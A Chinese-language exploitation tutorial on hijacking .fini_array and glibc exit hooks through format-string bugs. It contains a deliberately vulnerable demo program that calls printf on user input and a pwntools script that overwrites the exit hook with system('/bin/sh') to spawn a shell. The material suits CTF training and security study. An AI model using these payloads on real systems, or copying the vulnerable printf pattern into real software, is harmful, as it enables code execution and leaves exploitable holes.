利用fini_array实现格式化字符串攻击的进阶技巧
字数 1529 2025-12-16 12:19:00
利用fini_array实现格式化字符串攻击的进阶技巧
概述
本文详细分析在x86架构下如何利用fini_array段实现格式化字符串漏洞的进阶利用技术。该技术通过在程序退出时执行的fini_array函数指针数组进行劫持,实现循环执行、ROP链攻击和exit劫持等高阶利用。
基本原理
程序启动流程分析
在x86架构中,程序的完整执行流程为:
_start --> __libc_start_main --> libc_csu_init --> main --> libc_csu_fini
关键发现:main函数并不是程序的起点,而是被__libc_start_main调用的。在main函数执行完毕后,程序会继续执行__libc_csu_fini函数。
fini_array段的作用
在.fini_array段中存放着程序结束时需要调用的函数指针数组。__libc_csu_fini函数会遍历并执行这个数组中的所有函数指针。
.fini_array:0804979C __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
重要特性:
_init_array数组的执行顺序是从小到大(下标0→1→2...)_fini_array数组的执行顺序是从大到小(下标n→n-1→...→0)
核心利用技术
1. 基础利用:创建执行循环
通过修改fini_array中的函数指针,可以创建无限循环的执行链:
fini_array[0] = __libc_csu_fini
fini_array[1] = target_addr(如main函数)
执行流程变为:
_start --> __libc_start_main --> libc_csu_init --> main --> libc_csu_fini
--> target_addr --> libc_csu_fini --> target_addr --> ...
这种技术可以将单次漏洞利用机会放大为无限次利用机会。
2. ROP链攻击结合栈迁移
当栈空间不足时,可以将栈迁移到fini_array区域:
- 首先构造Loop链实现无限循环
- 在fini_array + 0x10后布置ROP链
- 修改fini_array跳出循环:
fini_array[0] = leave_ret fini_array[1] = ret
3. exit劫持技术
基本原理
当程序执行exit(0)时(非sys-exit或_exit),会调用两个关键函数。通过修改这些函数指针(exit_hook),可以劫持程序控制流。
查找exit_hook地址
在gdb中使用命令查看内部结构:
p _rtld_global
x/500a 0x7ffff7e2a060(实际地址)
关键结构体成员:
_dl_rtld_lock_recursive = 0x7ffff7c010e0 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7c010f0 <rtld_lock_default_unlock_recursive>,
利用条件
- 至少有一次任意写机会
- 程序可以正常结束(显式触发exit或主函数正常退出)
- 能够调用到
_dl_fini函数
版本限制:该技术在glibc-2.34之后失效
实战演示
示例程序
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
char buf[0x100];
int i = 0;
init();
for(i=0;i<2;i++){
read(0,buf,0x100);
printf(buf);
}
return 0;
}
利用步骤
第一步:地址泄露
def ak1():
pd = b'%41$p'
s(pd)
lib = ri(15)-0x24083
pr(lib)
第二步:修改fini_array
使用pwntools的fmtstr_payload自动构造格式化字符串payload:
writes = {目标地址:目标值}
payload = fmtstr_payload(offset, writes, write_size='byte')
优化技巧:
- 优先使用1字节或2字节写入(%hhn或%hn)
- 避免一次性写入4字节或8字节,防止性能问题
- 使用
0x10000-xxx的方式刷新计数器
完整利用脚本
#!/usr/bin/python3
from pwn import *
import ctypes
context(os = 'linux', arch = 'amd64', log_level = 'debug')
def create_io():
global io, elf, libc
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./pwn")
def exploit():
# 泄漏libc基地址
pd = b'%41$p'
io.send(pd)
libc_base = int(io.recv(15), 16) - 0x24083
# 修改fini_array实现循环
binsh = 0x235968 + libc_base
target = 0x235f68 + libc_base
# 第一次修改:写入/bin/sh字符串
payload1 = fmtstr_payload(6, {binsh: 0x68732f6e69622f})
io.send(payload1)
# 第二次修改:将system函数地址写入exit_hook
payload2 = fmtstr_payload(6, {target: libc_base + libc.sym['system']})
io.send(payload2)
if __name__ == '__main__':
create_io()
exploit()
io.interactive()
关键技术要点
格式化字符串使用技巧
| 占位符 | 含义 |
|---|---|
| %d | 十进制输出整数 |
| %x | 十六进制输出整数 |
| %p | 输出指针地址 |
| %s | 输出字符串 |
| %n | 写入已输出字符数 |
| %hn | 写入2字节 |
| %hhn | 写入1字节 |
注意事项
- printf对\x00截断:注意字符串中的空字节会提前终止输出
- 计数器管理:使用
0x10000-xxx方式重置计数器 - 执行顺序:fini_array的倒序执行特性对payload构造至关重要
- 版本兼容性:不同glibc版本可能存在差异,特别是2.35之后csu机制变化
高级技巧
无限制次数修改
通过循环链技术,可以实现对内存的无限次修改:
# 修改exit_hook为system函数(分4次写入)
for i in range(4):
payload = fmtstr_payload(offset, {exit_hook+i*2: system & 0xffff}, write_size='short')
fmt(payload)
system = system >> 16
# 修改参数为/bin/sh(分4次写入)
rdi_value = 0x68732f6e69622f
for i in range(4):
payload = fmtstr_payload(offset, {rdi+i*2: rdi_value & 0xffff}, write_size='short')
fmt(payload)
rdi_value = rdi_value >> 16
调试技巧
在关键函数处设置断点:
b *__libc_csu_fini
b *_dl_fini
b *_run_exit_handlers
总结
利用fini_array的格式化字符串攻击技术提供了强大的漏洞利用能力,特别是通过循环执行机制将有限的漏洞利用机会转化为无限可能。掌握这一技术需要深入理解程序启动流程、内存布局和格式化字符串漏洞的本质。在实际利用中,要特别注意版本兼容性和各种边界条件的处理。